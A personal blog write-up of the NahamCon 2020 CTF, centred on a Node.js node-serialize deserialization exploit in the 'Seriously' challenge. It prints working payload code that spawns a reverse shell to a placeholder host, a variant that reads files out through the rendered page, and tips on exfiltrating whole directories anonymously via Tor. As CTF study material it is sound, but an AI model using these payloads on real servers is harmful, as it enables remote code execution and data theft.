dm248.github.io


Project maintained by dm248 Hosted on GitHub Pages — Theme by mattgraham

NahamCon

Jun 15, 2020

NahamCon CTF was a fun event last weekend. I only had about 10 hours for it, so I did what tends to suit me best: crypto plus some misc challenges. Overall I scored close to 1500, which is OK but there is always room to do more.

Crypto

The crypto problems were largely a let-down, easy and/or of a guess-my-encryption type:

Misc

The misc problems did have some educational moments:

Some more poking around

Obviously, there is still much to learn. After the contest, I took a look at some of the web challenges:

Official Business

Hindsight is always 20/20, of course, but it can also give insight into the typical heuristics people use when they race against time. Take, for example, Official Business: the job was to “log in as admin”, and one could get the server code. The options looked like:

In the end, all that is required is a cookie{"admin": True}, which can be sent via a one-liner in curl. But it was likely quicker to get to the flag by simply trying a combination of whatever unique values appear in the code:

{"user": "hacker", "password": "password", "digest": "hackshackshackshackshackshackshackshackshackshackshackshackshack", "admin": True}

Seriously

My favorite problem at NahamCon is the Node JS unserialization exploit - Seriously. With a carefully crafted cart cookie in the challenge, theserver:port/cart page that displayed the shopping cart could be used to execute arbitrary JS code on the server. I have not heard about this vulnerability before, so I decided to play with it.

Normally the cart cookie corresponded to something like

{"items": {"0": {"name": "Haworthiopsis attenuata", "price": 19.99, "count": 1}}}

converted to string and then encoded via base64. But there were no integrity checks, so you could alter the cookie any way you wanted. It so turns out that one can specify function-valued properties, and even so called immediately invoked function expressions (IIFEs) that are called right away when the cookie is unserialized (i.e., converted back from string) by the server.

Reverse shell

One writeup exploited this to spawn a reverse shell, so I tried a variation on that too. You do not need eval(String.fromCharCode(…)) part, just define your function expression directly and serialize that:

var c = {"items": {"0": {"name": function() {
               var client = new require('net').Socket()
               client.connect("PORT", "HOSTIP", function() {
                  var sh = require('child_process').spawn('/bin/sh',[]);
                  client.write("Connected!\n");
                  client.pipe(sh.stdin);
                  sh.stdout.pipe(client);
                  sh.stderr.pipe(client);
                  sh.on('exit',function(code,signal){
                     client.end("Disconnected!\n");
                  });
               });
            }
          }}}

var c_ser = require('node-serialize').serialize(c)
c_ser = c_ser.replace('}"}}', '}()"}}')        // insert () to make it an IIFE

console.log((new Buffer(c_ser)).toString('base64'))

A shell is nice because it gives a lot of freedom besides finding flag.txt and printing its contents. For instance, you can tar-gzip the whole challenge directory and exfiltrate it (about 5 MB). There were no networking binaries (nc, curl, telnet…) on the server but it did have a C compiler, so you could easily do TCP over sockets. Or just cat the tarball and redirect netcat’s output stream.

Looking at the server code, the exploit activates at

cart = serialize.unserialize(Buffer.from(cart, 'base64').toString('ascii'));
return res.render('cart', { cart: cart, user: user });

i.e., the shell spawns right before the assignment to cart, then the unserialized object is used to render the cart page. (You did not even need to have the auth cookie for this to work.)

Exfiltration to browser

A reverse shell is useful but it is definitely an overkill. Moreover, it is a giant beacon to the perpetrator’s computer on the internet. It is much more anonymous to exfiltrate the flag to the browser, e.g., Tor Browser (or you could even curl through Tor). We have arbitrary code execution, so it is easy - just have the IIFE return the flag as a string:

var c = {"items": {"0": {"name": function() {
               return require('fs').readFileSync("flag.txt");
            },"price": 987,"count": 2
          }}}

var c_ser = require('node-serialize').serialize(c)
c_ser = c_ser.replace('}","price', '}()","price')   // make it into an IIFE

console.log((new Buffer(c_ser)).toString('base64'))

This way, when the cart is rendered, the name of the plant is the flag.

Using analogous steps, you can exfiltrate any file (such as the challenge directory tarball) by preparing it, reading it, converting it to base64, and putting the result in place of the plant name. There were no limits on HTTP response length, so getting a 10-MB base64 string out worked just fine in the challenge.


back